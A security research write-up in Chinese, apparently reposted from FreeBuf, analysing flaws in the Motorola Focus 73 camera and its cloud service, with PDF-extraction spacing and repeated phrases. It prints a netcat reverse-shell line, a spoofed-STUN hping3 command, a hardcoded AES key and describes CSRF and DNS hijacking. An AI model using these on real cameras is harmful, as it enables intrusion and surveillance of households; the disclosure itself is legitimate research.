搜索

[10201] 2016-06-15_逆向工程分析：摩托罗拉安全摄像头究竟有多不安全？

文档创建者：s7ckTeam
浏览次数：43
最后更新：2025-01-18
2016-06-15_逆向工程分析：摩托罗拉安全摄像头究竟有多不安全？ 逆 向 工 程 分 析 ： 摩 托 罗 拉 安 全 摄 像 头 究 竟 有 多 不 安 全 ？ 饭 团 君   F r e e B u f   2 0 1 6 - 0 6 - 1 5 写 在 前 面 写 在 前 面 这 年 头 ， 谁 家 不 得 防 贼 防 盗 防 小 三 ？ 云 安 全 摄 像 头 也 就 变 得 越 来 越 盛 行 了 。 可 虽 然 叫 这 年 头 ， 谁 家 不 得 防 贼 防 盗 防 小 三 ？ 云 安 全 摄 像 头 也 就 变 得 越 来 越 盛 行 了 。 可 虽 然 叫 “ 安 全 安 全 ” 摄 像 头 ， 它 们 本 身 的 安 全 性 或 许 并 不 怎 么 样 。 这 款 摩 摄 像 头 ， 它 们 本 身 的 安 全 性 或 许 并 不 怎 么 样 。 这 款 摩 托 罗 拉 托 罗 拉 F o c u s   7 3 户 外 安 全 摄 像 头 即 是 如 此 。 户 外 安 全 摄 像 头 即 是 如 此 。 摩 托 罗 拉 摩 托 罗 拉 F o c u s   7 3 摄 像 头 是 一 款 户 外 安 全 摄 像 头 ， 这 款 产 品 实 际 上 是 由 摄 像 头 是 一 款 户 外 安 全 摄 像 头 ， 这 款 产 品 实 际 上 是 由 B i n a t o n e 制 造 的 。 此 系 列 制 造 的 。 此 系 列 摄 像 头 产 品 支 持 通 过 摄 像 头 产 品 支 持 通 过 H u b b l e 服 务 与 云 端 连 接 。 服 务 与 云 端 连 接 。 H u b b l e 服 务 是 建 基 于 服 务 是 建 基 于 A m a z o n   E C 2   i n s t a n c e 的 ， 有 了 这 项 服 务 ， 用 户 就 可 以 远 程 监 控 摄 像 头 了 ， 另 外 也 能 接 收 摄 像 头 发 出 的 警 告 信 息 。 不 过 的 ， 有 了 这 项 服 务 ， 用 户 就 可 以 远 程 监 控 摄 像 头 了 ， 另 外 也 能 接 收 摄 像 头 发 出 的 警 告 信 息 。 不 过 H u b b l e 服 务 是 收 费 的 ， 用 户 每 个 月 需 要 掏 钱 来 购 买 这 项 服 务 。 服 务 是 收 费 的 ， 用 户 每 个 月 需 要 掏 钱 来 购 买 这 项 服 务 。 下 面 这 篇 逆 向 工 程 分 析 就 是 要 揭 示 ， 这 款 摄 像 头 实 际 上 存 在 诸 多 安 全 问 题 。 在 不 需 要 访 问 本 地 网 络 的 情 况 下 ， 就 能 攻 入 摄 像 头 ， 获 取 摄 像 头 所 在 家 用 W i F i 网 络 的 密 码 ， 拿 下 摄 像 头 的 控 制 权 ， 甚 至 还 能 将 视 频 流 重 定 向 到 黑 客 自 己 搭 建 的 服 务 器 中 。 硬 件 分 析 硬 件 分 析 从 摩 托 罗 拉 F o c u s   7 3 摄 像 头 的 拆 解 来 看 ， 其 内 部 采 用 N u v o t o n （ 新 塘 ） A R M 9   S o C （ N 3 2 9 x ） ， N 7 9 E 8 1 4 A T 2 0   C P U ， 连 接 C P U 的 G P I O 接 口 1 5 针 。 另 外 里 面 还 有 个 微 开 关 ， 配 套 应 用 在 进 行 设 置 的 时 候 也 就 能 够 找 到 摄 像 头 了 。
其 上 的 P C B 板 连 接 至 电 动 平 衡 架 — — 该 平 衡 架 是 可 以 左 右 旋 转 的 ， 不 过 两 侧 在 9 0 ° 位 置 进 行 阻 断 ， 也 就 是 说 总 共 可 以 翻 转 1 8 0 ° — — 其 翻 转 可 以 通 过 A P I 进 行 控 制 。 这 些 也 就 是 摄 像 头 调 整 镜 头 朝 向 、 角 度 的 装 置 。 网 络 连 接 方 面 ， 此 摄 像 头 可 通 过 8 0 2 . 1 1 无 线 网 络 连 接 ， 也 可 以 通 过 以 太 网 连 接 。 镜 头 上 方 的 L E D 灯 是 用 于 指 示 系 统 状 态 的 ， 可 通 过 预 设 的 命 令 做 控 制 。 摄 像 头 工 作 时 ， L E D 灯 常 亮 ， 进 行 视 频 流 传 输 或 者 发 现 镜 头 前 的 异 常 情 况 并 发 出 警 报 时 会 闪 烁 。 软 件 配 置 软 件 配 置 与 摄 像 头 配 套 的 移 动 应 用 名 为 H u b b l e ， 可 在 应 用 商 店 中 免 费 下 载 。 这 款 应 用 是 进 行 摄 像 头 设 置 的 入 口 ， 需 要 H u b b l e 帐 号 才 能 登 录 使 用 。 此 应 用 也 是 配 置 摄 像 头 、 通 过 标 准 A P I 支 持 更 多 I P 摄 像 头 加 入 的 唯 一 “ 官 方 ” 方 案 。   在 应 用 程 序 安 装 过 程 中 ， 程 序 会 提 示 用 户 给 摄 像 头 插 入 网 线 ， 或 点 按 摄 像 头 上 的 在 应 用 程 序 安 装 过 程 中 ， 程 序 会 提 示 用 户 给 摄 像 头 插 入 网 线 ， 或 点 按 摄 像 头 上 的 “ 配 对 配 对 ” 按 钮 ， 让 摄 像 头 进 入 按 钮 ， 让 摄 像 头 进 入 h o s t 模 式 ， 开 启 开 放 无 线 网 络 （ 没 有 模 式 ， 开 启 开 放 无 线 网 络 （ 没 有 密 码 ） 。 随 后 应 用 会 扫 描 到 名 为 密 码 ） 。 随 后 应 用 会 扫 描 到 名 为 “ C a m e r a H D - [ M a c 地 址 地 址 ] ” 的 网 络 ， 并 提 示 用 户 进 行 连 接 。 的 网 络 ， 并 提 示 用 户 进 行 连 接 。 这 款 摄 像 头 还 提 供 一 些 未 经 过 滤 的 网 络 服 务 ， 包 括 R T S P — — 这 是 定 制 的 内 部 消 息 服 务 ， 另 外 还 包 含 两 个 内 部 的 w e b 服 务 （ n u v o t o n 和 b u s y b o x ， w e b s e r v e r ） ， 其 中 一 个 w e b 服 务 实 际 上 还 提 供 了 固 件 升 级 ， 虽 然 这 其 实 是 个 隐 藏 功 能 。 应 用 程 序 连 接 该 开 放 热 点 时 ， 还 会 向 n u v o t o n   w e b 服 务 发 出 请 求 ， 通 过 L i n u x 的 i w l i s t 指 令 进 行 无 线 网 络 的 扫 描 。 扫 描 结 果 会 以 X M L 的 形 式 返 回 到 应 用 中 ， 用 户 就 可 以 从 列 表 中 选 择 自 己 的 网 络 了 。 选 择 相 应 的 无 线 网 络 之 后 ， 输 入 W i F i 私 钥 ， 随 后 会 以 基 本 H T T P 身 份 认 证 的 方 式 ， 在 开 放 网 络 中 进 行 未 加 密 的 广 播 （ 形 如 用 户 名 “ c a m e r a ” ， 密
码 “ 0 0 0 0 0 0 ” ） 。 这 里 的 H T T P 认 证 看 起 来 已 经 比 较 古 老 了 ， 而 且 早 就 已 经 不 用 了 — — 这 种 情 况 在 此 类 设 备 上 其 实 比 较 普 遍 。 像 / r o u t e r s e t u p . h t m l 这 种 页 面 ， 都 算 是 比 较 原 始 的 页 面 。 首 先 要 对 应 用 通 讯 做 设 置 ， 通 过 H u b b l e 云 服 务 与 摄 像 头 做 连 接 。 整 个 过 程 是 通 过 一 个 T L S 协 议 下 的 R E S T   A P I 进 行 的 ， 该 R E S T   A P I 是 为 命 令 、 警 报 和 实 时 视 频 的 视 频 流 服 务 器 连 接 准 备 的 。 这 里 的 实 时 视 频 还 是 有 些 小 复 杂 的 ： 移 动 应 用 给 H u b b l e 服 务 器 传 数 据 ， 服 务 器 对 视 频 流 会 话 进 行 初 始 化 。 为 了 将 命 令 发 送 到 摄 像 头 ， H u b b l e 服 务 器 需 要 在 互 联 网 上 对 摄 像 头 进 行 定 位 ， 还 需 要 通 过 摄 像 头 所 在 网 络 的 防 火 墙 ， 创 建 入 站 连 接 。 上 面 这 段 话 简 单 说 ， 就 是 应 用 程 序 与 服 务 器 之 间 的 配 置 完 成 后 ， 应 用 程 序 以 及 服 务 器 建 立 视 频 通 信 。 应 用 程 序 向 服 务 器 提 交 建 立 连 接 的 指 令 ， 最 终 服 务 器 通 过 防 火 墙 连 接 应 用 程 序 。 通 过 N A T 路 由 器 进 行 入 站 连 接 的 传 统 方 法 应 该 是 借 由 S T U N 协 议 进 行 的 。 S T U N 是 一 种 网 络 协 议 ， 它 允 许 位 于 是 一 种 网 络 协 议 ， 它 允 许 位 于 N A T （ 或 多 重 （ 或 多 重 N A T ） 后 的 客 户 端 找 出 自 己 的 公 网 地 址 ， 同 时 可 以 在 两 个 同 时 处 于 ） 后 的 客 户 端 找 出 自 己 的 公 网 地 址 ， 同 时 可 以 在 两 个 同 时 处 于 N A T   路 由 器 之 后 的 主 机 之 路 由 器 之 后 的 主 机 之 间 建 立 间 建 立 U D P 通 信 。 通 信 。 摄 像 头 向 H u b b l e 服 务 器 发 送 常 规 的 h e a r t b e a t 信 息 ， 让 服 务 器 知 道 其 当 前 的 外 部 I P 地 址 以 及 监 听 的 U D P   端 口 ， 同 时 也 是 让 防 火 墙 允 许 这 样 的 临 时 连 接 存 在 ( 时 长 1 2 0 s )   。 应 用 程 序 以 及 服 务 器 之 间 的 S T U N 协 议 的 确 是 比 较 实 用 的 。 摄 像 头 通 过 常 规 S T U N 心 跳 信 息 ， 维 持 N A T 路 由 器 的 开 放 U D P 端 口 。 这 里 的 心 跳 信 息 也 是 从 H u b b l e 接 收 a d - h o c 指 令 的 方 式 。
比 如 “ s t a r t   s t r e a m i n g   v i d e o ” 开 始 进 行 视 频 流 ， 就 是 个 典 型 的 命 令 ， 该 命 令 会 以 A E S 加 密 的 方 式 发 送 到 S T U N 客 户 端 ， 客 户 端 再 用 本 地 密 钥 对 此 进 行 解 密 ， 再 借 由 c U R L 工 具 转 往 本 地 W e b 服 务 。 本 地 W e b 服 务 器 随 后 会 运 行 本 地 脚 本 ， 在 进 行 视 频 流 时 生 成 随 机 U R L — — 这 个 U R L 是 针 对 远 程 视 频 服 务 器 I P 地 址 硬 编 码 生 成 的 。 该 U R L 链 接 再 返 回 到 c U R L 客 户 端 ， 然 后 再 通 过 加 密 的 S T U N 信 息 返 回 到 H u b b l e 和 最 终 的 应 用 。 应 用 接 收 到 这 个 公 共 的 U R L 地 址 之 后 ， 就 能 连 接 视 频 服 务 器 了 ， 也 能 接 收 视 频 数 据 U D P 流 。 该 编 码 过 后 的 U R L 地 址 也 可 以 直 接 用 其 它 客 户 端 访 问 。 固 件 固 件 厂 商 没 有 对 所 谓 的 固 件 升 级 做 公 开 宣 传 ， 不 过 跟 很 多 I o T 设 备 一 样 ， 的 确 有 升 级 固 件 的 可 行 方 案 ， 虽 然 是 比 较 隐 藏 的 — — 通 过 私 有 U R L 地 址 就 能 进 行 固 件 升 级 。 私 有 U R L 地 址 哪 儿 来 呢 ？ 其 实 也 不 算 难 ， 应 用 里 面 的 字 符 串 有 包 含 一 部 分 U R L 地 址 。 然 后 靠 产 品 型 号 和 固 件 版 本 来 猜 测 U R L 的 剩 余 部 分 ， 也 就 搞 定 了 。 实 际 上 ， 我 们 还 发 现 了 一 个 名 为 “ s k y e y e ” 的 L i n u x 压 缩 文 件 系 统 ， 这 是 由 香 港 摄 像 头 企 业 C i v i s i o n 写 的 。 以 这 种 连 猜 带 蒙 的 方 式 ， 我 们 还 能 获 取 更 多 的 固 件 版 本 ， 包 括 历 史 版 本 的 固 件 和 开 发 版 固 件 。   C i v i s i o n 固 件 包 含 了 / b i n 、 / e t c 、 / l i b 文 件 夹 ， 不 过 这 个 固 件 并 非 完 整 的 L i n u x 系 统 。 固 件 本 身 是 挂 在 / m n t / s k y e y e 载 点 的 。 如 b u s y b o x 等 核 心 二 进 制 文 件 并 未 包 含 在 内 ， 这 些 部 分 是 隶 属 于 N u v o t o n 系 统 的 — — N u v o t o n 没 有 升 级 机 制 ， 所 以 里 面 有 一 堆 很 老 的 二 进 制 文 件 ， 有 些 甚 至 有 1 0 年 历 史 了 。 从 固 件 中 不 难 观 察 到 ， 脚 本 和 配 置 文 件 中 有 其 他 型 号 I P 摄 像 头 的 痕 迹 ， 比 如 F o c u s 摄 像 头 家 族 产 品 的 s w i t c h 语 句 等 。 这 表 明 ， 该 固 件 并 非 为 这 款 摄 像 头 产 品 特 别 设 计 。 这 么 做 应 该 是 为 了 节 约 开 发 成 本 。 厂 商 只 需 要 针 对 这 个 固 件 进 行 特 定 型 号 产 品 的 配 置 就 行 ， 在 文 本 文 件 中 定 义 即 可 。 w e b 服 务 部 分 位 于 / m n t / s k y e y e / m l s w w w n / ， 采 用 的 h a s e r l   C G I 脚 本 直 接 将 H T T P 表 单 参 数 传 往 s h e l l 环 境 ， 用 以 实 现 诸 如 获 取 日 志 、 升 级 固 件 等 功 能 。 这 个 地 方 是 可 被 脚 本 利 用 的 。 恶 意 固 件 升 级 恶 意 固 件 升 级 前 面 我 们 有 提 到 ， 系 统 中 实 际 上 存 在 2 个 w e b 服 务 。 这 2 个 w e b 服 务 位 于 同 一 个 文 件 夹 下 （ / m n t / s k y e y e / m s l w w w n / ） ， 两 者 的 端 口 号 分 别 是 8 0 和 8 0 8 0 。 后 者 是 个 b u s y b o x   h t t p d — — 就 像 其 他 一 般 的 h t t p d 一 样 ， 限 制 访 问 如 可 执 行 文 件 或 / c g i - b i n / 下 的 脚 本 等 特 定 文 件 。 但 问 题 在 于 ， 端 口 为 但 问 题 在 于 ， 端 口 为 8 0 的 的 N u v o t o n   w e b 服 务 就 没 有 这 方 面 的 限 制 。 所 以 在 服 务 就 没 有 这 方 面 的 限 制 。 所 以 在 8 0 8 0 端 口 没 法 看 的 东 西 ， 在 端 口 没 法 看 的 东 西 ， 在 8 0 端 口 就 能 一 览 无 余 ， 包 括 端 口 就 能 一 览 无 余 ， 包 括 E L F 二 进 制 文 件 二 进 制 文 件 — — 这 些 文 件 提 供 了 非 常 有 价 值 的 信 息 ， 包 括 架 构 （ 这 些 文 件 提 供 了 非 常 有 价 值 的 信 息 ， 包 括 架 构 （ A R M 3 2   L E ） 和 可 执 行 环 境 。 ） 和 可 执 行 环 境 。
这 些 文 件 中 ， 其 中 一 个 很 有 趣 ， 文 件 名 为 h a r s e r l u p g r a d e . c g i 。 这 个 文 件 实 际 上 是 固 件 升 级 进 程 需 要 用 到 的 。 由 于 固 件 本 身 并 没 有 加 密 ， 也 没 有 签 名 之 类 的 ， 我 们 也 就 能 够 对 其 进 行 修 改 ， 开 个 独 立 的 后 门 ： < %   $ F O R M _ r u n   % > 。 这 样 一 来 ， 就 能 通 过 h t t p : / / [ I P ] : 8 0 8 0 / f w u p g r a d e . h t m l 这 个 地 址 ， 来 上 传 修 改 过 的 固 件 了 ， 方 便 我 们 执 行 各 种 命 令 。 目 录 遍 历 与 命 令 注 入 目 录 遍 历 与 命 令 注 入 如 上 所 述 ， 我 们 发 现 了 h a s e r l u p g r a d e   C G I 脚 本 的 漏 洞 ， 典 型 的 目 录 遍 历 漏 洞 。 脚 本 （ r o o t 运 行 ） 获 取 压 缩 的 固 件 镜 像 ， 并 将 之 移 至 指 定 位 置 ， 在 w e b r o o t 之 外 。 悲 剧 的 是 ， 这 个 过 程 不 会 对 表 单 中 的 文 件 名 进 行 验 证 ， 所 以 “ n e w _ f i r m w a r e . t g z ” ， 还 有 “ . . / . . / . . / m n t / s k y e y e / e t c / c r o n / r o o t ” 这 样 都 是 可 以 的 。 我 们 在 测 试 环 境 下 构 建 相 同 的 脚 本 ， 确 认 由 于 h a s e r l 不 会 对 输 入 做 验 证 ， 所 以 目 录 遍 历 漏 洞 的 确 存 在 。 不 过 问 题 是 无 论 将 固 件 放 到 文 件 系 统 的 哪 个 位 置 ， 都 会 被 移 除 。 顺 带 一 提 ， 我 们 如 果 覆 盖 核 心 文 件 （ 比 如 / b i n / b u s y b o x ） ， 可 以 让 设 备 变 砖 — — 考 虑 到 这 是 个 安 全 摄 像 头 ， 做 到 这 一 点 还 是 挺 有 意 义 的 . . . 其 实 在 固 件 升 级 完 成 后 ， 自 动 删 除 固 件 文 件 是 很 正 常 的 事 情 。 我 们 继 续 检 查 其 它 脚 本 ， 发 现 了 针 对 “ f w u p g r a d e ” 二 进 制 文 件 （ 1 6 行 ） 的 中 断 调 用 （ 加 载 到 I D A 反 汇 编 工 具 中 发 现 的 ） 。 这 个 二 进 制 文 件 收 到 S I G U S R 1 中 断 之 后 ， 就 会 从 / m n t / c a c h e / n e w _ f w u p g r a d e 文 件 读 取 1 2 8 字 节 ， 然 后 将 之 作 为 固 件 文 件 名 。 随 后 再 通 过 s h e l l   s c r i p t 来 进 行 固 件 升 级 ， 完 成 之 后 就 会 将 固 件 文 件 删 除 。 这 里 ， 固 件 的 文 件 名 是 f w u p g r a d e 读 取 1 2 8 字 节 而 来 的 — — 1 2 8 个 字 节 也 就 意 味 着 固 件 的 文 件 名 可 以 很 长 ， 并 且 可 以 中 途 打 断 这 个 进 程 ， 这 样 一 来 上 传 的 文 件 就 不 会 被 删 除 了 — — 因 为 中 断 的 时 候 ， 获 取 的 文 件 名 还 不 完 整 。 我 们 选 定 的 文 件 名 就 这 么 来 回 折 腾 ， 直 到 超 出 1 2 8 字 节 。 系 统 最 终 将 我 们 的 文 件 放 到 了 “ c r o n ” 文 件 夹 ， 这 个 位 置 是 每 分 钟 都 会 进 行 读 取 和 执 行 工 作 的 。 这 些 重 复 的 文 件 夹 名 称 可 以 被 随 机 字 符 替 代 ， 直 到 超 过 1 2 8 字 节 。 基 于 此 ， 利 用 b u s y b o x 每 分 钟 进 行 一 次 反 向 s h e l l ： / b i n / b u s y b o x   n c   1 0 . 4 5 . 3 . 1 0 0   1 6 6 4   - e   / b i n / s h 相 关 c r o n 的 这 个 执 行 周 期 需 要 6 0 s ， 在 等 待 过 程 中 ， 我 们 看 到 了 下 面 的 页 面 。 这 是 个 展 示 进 度 的 页 面 ， 里 面 有 我 们 选 定 的 文 件 名 ， 还 有 文 件 尺 寸 ， 看 起 来 还 是 觉 得 挺 搞 笑 的 。 由 于 这 台 设 备 也 没 有 防 火 墙 ， 所 以 我 们 其 实 也 可 以 利 用 任 意 端 口 号 。
已 经 获 取 到 了 摄 像 头 的 r o o t 访 问 权 限 ， 其 实 要 破 解 r o o t 密 码 已 经 不 重 要 了 ， 但 利 用 工 具 J o h n 还 是 可 以 搞 定 ， 其 密 码 为 “ 1 2 3 4 5 6 ” ； 可 知 的 信 息 还 包 括 类 似 F T P 这 样 权 限 更 低 的 用 户 账 户 ， 不 过 其 实 也 已 经 没 什 么 意 义 了 。 再 往 深 处 挖 掘 ， 我 们 还 在 再 往 深 处 挖 掘 ， 我 们 还 在 / t m p / w p a . c o n f 文 件 中 发 现 了 好 东 西 ： 明 文 的 文 件 中 发 现 了 好 东 西 ： 明 文 的 W i F i 密 码 （ 没 错 ， 家 庭 网 络 的 密 码 （ 没 错 ， 家 庭 网 络 的 W i F i 密 码 ） 。 密 码 ） 。 另 外 我 们 还 发 现 了 C i v i s i o n 安 全 测 试 网 络 的 出 厂 无 线 凭 证 ， 就 是 在 重 置 出 厂 状 态 之 后 会 应 用 的 网 络 。 此 外 ， 这 款 摄 像 头 产 品 还 运 行 了 一 些 有 趣 的 G P L v 2 开 源 软 件 。 N u v o t o n   w e b 服 务 针 对 此 S o C 的 声 明 提 到 ： “ 开 源 代 码 环 境 会 让 产 品 开 发 更 具 弹 性 。 ” N u v o t o n w e b 服 务 的 表 现 其 实 很 像 M J P G 流 ， 只 不 过 有 用 于 远 程 控 制 的 额 外 功 能 。 从 字 符 串 来 看 ， S T U N 客 户 端 用 的 应 该 是 P J N A T H 库 ， 不 过 应 该 也 有 功 能 方 面 的 扩 展 （ S T U N 信 息 内 的 C & C ） 。 在 摄 像 头 上 运 行 “ p s ” 命 令 ， 可 以 看 到 大 量 m s l o a d e r 线 程 ， m s l o a d e r 是 掌 控 摄 像 头 核 心 功 能 、 警 报 、 指 令 、 控 制 的 。 m s l o a d e r 比 较 复 杂 ， 所 以 可 能 导 致 内 存 泄 露 的 问 题 ， 这 从 c r o n 文 件 夹 那 边 的 动 作 会 致 使 m s l o a d e r 重 启 可 以 看 的 出 来 ， 而 且 重 启 的 时 间 比 较 规 律 ， 是 在 早 晨 。 我 们 当 然 不 会 公 布 重 启 的 具 体 时 间 ， 要 利 用 这 个 问 题 来 发 起 攻 击 ， 应 该 是 不 需 要 什 么 技 术 就 可 以 做 到 的 。 设 备 日 志 内 的 细 节 信 息 才 真 实 让 人 倍 感 悲 剧 ， 比 如 远 程 控 制 设 备 日 志 内 的 细 节 信 息 才 真 实 让 人 倍 感 悲 剧 ， 比 如 远 程 控 制 S T U N 信 息 的 信 息 的 A E S 密 钥 ， 和 视 频 剪 辑 存 储 的 密 钥 ， 和 视 频 剪 辑 存 储 的 F T P 凭 证 。 凭 证 。 其 中 列 出 的 错 误 信 息 也 印 证 了 我 们 的 想 法 ， 即 用 到 了 开 源 的 P J N A T H 库 。 更 悲 剧 的 是 ， 日 志 文 件 居 然 可 以 从 w e b 界 面 下 载 ， 不 过 经 过 了 加 密 （ / b i n / c r y t o ） 。 加 密 采 用 的 是 L i n u x 的 c r y p t o   A P I ， 硬 编 码 的 A E S 密 钥 ： C v i s i o n 1 2 3 4 5 9 8 7 6 。
也 就 是 说 ， 通 过 : 8 0 8 0 / c g i - b i n / l o g d o w n l o a d . c g i ， 到 你 家 的 陌 生 人 都 可 以 获 取 到 日 志 文 件 和 远 程 命 令 密 钥 。 远 程 远 程 S T U N 攻 击 攻 击 如 前 文 所 述 ， 这 颗 摄 像 头 使 用 S T U N 协 议 与 H u b b l e 服 务 器 保 持 通 讯 。 分 析 S T U N 包 ， 会 发 现 1 6 字 节 的 I V （ 初 始 化 向 量 ） 和 一 段 A E S 加 密 数 据 。 我 们 先 前 就 已 经 有 了 存 储 在 设 备 上 的 A E S 密 钥 ， 还 有 来 自 包 的 I V ， 也 就 能 够 比 较 轻 易 地 解 密 命 令 数 据 。 S T U N 信 息 中 的 数 据 ， 用 于 从 “ 云 端 ” 获 取 加 密 命 令 ， 比 如 说 “ s t a r t   r e c o r d i n g （ 开 始 录 制 ） ” ， “ c h a n g e   v i d e o   s e r v e r （ 改 变 视 频 服 务 器 ） ” ， “ m o v e   l e f t （ 左 移 ） ” ， “ r e b o o t （ 重 启 ） ” 等 。 既 然 能 够 解 密 这 样 的 信 息 了 ， 那 么 各 种 针 对 摄 像 头 的 控 制 也 就 可 行 了 （ 用 原 有 的 A E S 密 钥 篡 改 包 ， 重 新 加 密 构 建 包 ） 。 在 摄 像 头 这 一 边 ， 加 密 数 据 本 质 上 只 不 过 是 w e b 命 令 （ 借 由 S T U N 库 解 析 ， 用 c U R L 传 递 到 H T T P 服 务 器 ， 再 生 效 ） 。
在 对 这 套 机 制 的 深 入 研 究 中 ， 我 们 还 发 现 要 重 新 执 行 以 前 的 S T U N 信 息 也 是 完 全 可 以 的 ， 因 为 加 密 命 令 此 处 没 有 超 时 限 制 。 显 然 ， 从 上 面 的 分 析 可 以 看 出 ， A E S 密 钥 就 是 阻 止 远 程 攻 击 的 主 要 安 全 机 制 了 。 设 备 中 有 个 名 为 c a m r e g i s t e r 的 二 进 制 文 件 ， 其 中 就 有 获 取 设 备 A E S 密 钥 的 常 规 方 式 。 c a m r e g i s t e r 处 理 摄 像 头 的 初 始 配 置 ， 连 接 H u b b l e 服 务 器 采 用 S S L 连 接 。 它 会 携 M a c 地 址 、 固 件 版 本 、 U D I D 和 其 他 细 节 信 息 ， 发 出 H T T P   P O S T 请 求 。 随 后 从 H u b b l e 接 收 A E S 密 钥 ， 保 存 到 设 备 中 。 密 钥 再 通 过 G E T   A P I 请 求 进 行 核 查 ， 注 册 过 程 就 结 束 了 。 这 个 过 程 中 ， A E S 密 钥 是 在 H u b b l e 服 务 器 上 生 成 的 ， 要 替 代 这 个 过 程 是 不 大 可 能 的 。 既 然 遇 到 阻 碍 了 ， 我 们 尝 试 再 度 对 S T U N 信 息 进 行 追 踪 。 为 了 保 证 S T U N 会 话 活 跃 ， N A T 路 由 器 W A N 接 口 的 U D P 端 口 需 要 保 证 开 启 。 针 对 S T U N 库 进 一 步 分 析 ， 我 们 发 现 ， 通 过 c U R L 传 往 内 部 w e b 服 务 器 的 加 密 数 据 是 没 有 经 过 核 查 的 。 如 果 有 更 多 时 间 ， 未 来 我 们 还 会 考 虑 分 析 远 程 访 问 的 可 行 性 （ 因 为 加 密 S T U N 信 息 缺 少 输 入 验 证 的 过 程 ） 。 盲 目 远 程 攻 击 盲 目 远 程 攻 击 如 果 攻 击 者 已 经 拿 到 了 如 果 攻 击 者 已 经 拿 到 了 A E S 密 钥 （ 通 过 本 地 的 密 钥 （ 通 过 本 地 的 l o g d o w n l o a d . c g i ， 或 者 是 通 过 ， 或 者 是 通 过 H u b b l e   G E T   A P I 密 钥 请 求 ） ， 就 完 全 可 以 控 制 这 款 摄 像 头 了 。 密 钥 请 求 ） ， 就 完 全 可 以 控 制 这 款 摄 像 头 了 。 为 了 演 示 这 一 点 ， 我 们 写 了 个 简 单 的 P y t h o n 脚 本 ， 这 个 脚 本 可 以 生 成 有 效 的 加 密 命 令 。 我 们 再 配 合 h p i n g 3 ， 从 N A T 路 由 器 外 部 可 以 欺 骗 H u b b l e   S T U N 服 务 器 。 当 然 绝 大 部 分 I S P 肯 定 不 会 让 你 这 么 做 ， 所 以 我 们 用 一 款 很 流 行 的 N A T 路 由 器 的 W A N 以 太 网 接 口 做 测 试 。 摄 像 头 本 身 设 置 为 伪 装 内 部 I P 段 （ 1 9 2 . 1 6 8 . 0 . 0 / 2 4 ） 的 无 线 客 户 端 。 所 有 针 对 S T U N 命 令 的 回 应 ， 都 会 回 到 H u b b l e ， 如 果 没 法 拦 截 的 话 ， 就 需 要 发 个 引 出 回 应 的 指 令 ， 进 行 所 谓 的 盲 目 攻 击 。 我 们 还 真 找 到 了 这 样 一 条 命 令 。 A P I 命 令 “ s e t _ w o w z a _ s e r v e r & v a l u e = ( i p ） ” 以 及 “ s t a r t _ r t m p & v a l u e = 1 ” ， 可 用 于 将 R T M P 视 频 流 重 定 向 到 你 自 己 的 服 务 器 上 。 我 们 采 用 开 源 的 视 频 服 务 R e d 5 。 如 果 盲 目 攻 击 成 功 ， 就 能 引 导 T C P 视 频 流 至 服 务 器 ， 端 口 1 9 3 5 。 p y t h o n   s t u n n i n g . p y   “ s e t _ w o w z a _ s e r v e r & v a l u e = 1 0 . 4 5 . 3 . 1 0 0 ”   >   s t u n p a c k e t   h p i n g 3   1 0 . 4 5 . 3 . 6 2   - - u d p   - V   - p   5 0 6 1 0   - - s p o o f   s t u n . h u b b l e . i n   - s   3 4 7 8   - - f i l e   s t u n p a c k e t   - - d a t a   $ ( s t a t   - c % s   s t u n p a c k e t )   - c   1   在 构 建 这 份 脚 本 的 过 程 中 ， 我 们 还 发 现 S T U N 客 户 端 一 点 都 不 挑 剔 ， 它 接 受 无 效 的 包 ， 或 者 包 含 U n i x 特 殊 字 符 、 非 命 令 U R L 的 包 ， 所 以 你 可 以 加 密 发 送 各 种 H T T P   G E T 请 求 ， 它 照 单 全 收 。 C S R F 攻 击 攻 击
如 果 没 有 拿 到 A E S 密 钥 的 话 ， 其 实 还 可 以 进 行 C S R F 攻 击 ， 通 过 J a v a S c r i p t 获 取 控 制 权 。 我 们 特 别 做 了 个 J a v a S c r i p t 脚 本 来 自 动 扫 描 摄 像 头 信 息 ， 借 由 x m l h t t p r e q u e s t 执 行 上 面 提 到 的 c r o n 动 作 ， 然 后 获 取 r o o t 权 限 ， 执 行 反 向 s h e l l 命 令 ， 并 上 传 我 们 自 己 的 r e s o l v . c o n f   D N S 文 件 ， 控 制 D N S ， 拦 截 所 有 的 警 报 。 由 于 浏 览 器 的 跨 域 资 源 分 享 限 制 ， 这 么 做 原 本 是 不 行 的 ， 不 过 跨 域 资 源 分 享 限 制 并 不 会 阻 止 我 们 向 其 他 域 发 出 数 据 （ H T T P   P O S T ） 。 浏 览 器 错 误 控 制 台 会 显 示 安 全 信 息 ， 向 你 报 告 阻 止 了 部 分 内 容 ， 实 际 上 目 的 也 就 已 经 达 到 了 。 如 果 有 人 查 看 该 页 面 ， 情 况 也 就 可 以 想 见 了 。 一 旦 我 们 掌 握 了 对 摄 像 头 的 控 制 ， 就 可 以 修 改 D N S 配 置 文 件 （ / e t c / r e s o l v . c o n f ） ， 查 看 云 端 的 u p l o a d 1 . h u b b l e . i n ， 再 转 到 我 们 自 己 的 w e b 服 务 器 ， 这 样 就 可 以 接 收 J P E G 警 报 图 像 ， 和 F L V 视 频 内 容 了 ， 这 原 本 是 H u b b l e 的 付 费 用 户 才 有 的 待 遇 。 媒 体 是 通 过 H T T P   P O S T 未 加 密 的 形 式 ， 发 往 / v 1 / u p l o a d s / s n a p . j s o n 或 者 / v 1 / u p l o a d s / c l i p . j s o n 的 ， 我 们 就 做 了 个 P H P 脚 本 来 处 理 这 些 媒 体 文 件 的 上 传 和 存 储 ， 等 我 们 闲 的 时 候 还 可 以 仔 细 看 看 . . . . . .
总 结 总 结 设 计 智 能 设 备 的 ， 我 们 还 是 建 议 首 先 要 建 立 起 全 面 的 安 全 准 则 ， 比 如 说 输 入 验 证 、 边 界 检 查 、 访 问 控 制 与 认 证 等 。 加 密 通 讯 的 确 是 有 意 义 的 ， 但 如 果 密 钥 本 身 就 不 安 全 ， 那 么 一 切 都 是 白 费 的 。 密 钥 这 种 东 西 就 是 应 该 得 到 严 密 防 护 的 ， 而 不 是 放 在 日 志 里 面 ， 或 者 由 一 些 不 受 信 任 的 机 构 设 置 。 要 在 某 个 界 面 进 行 加 密 ， 那 就 不 应 该 通 过 未 加 密 钥 这 种 东 西 就 是 应 该 得 到 严 密 防 护 的 ， 而 不 是 放 在 日 志 里 面 ， 或 者 由 一 些 不 受 信 任 的 机 构 设 置 。 要 在 某 个 界 面 进 行 加 密 ， 那 就 不 应 该 通 过 未 加 密 的 界 面 解 密 或 传 递 其 中 的 敏 感 信 息 ， 否 则 也 就 没 有 意 义 了 。 密 的 界 面 解 密 或 传 递 其 中 的 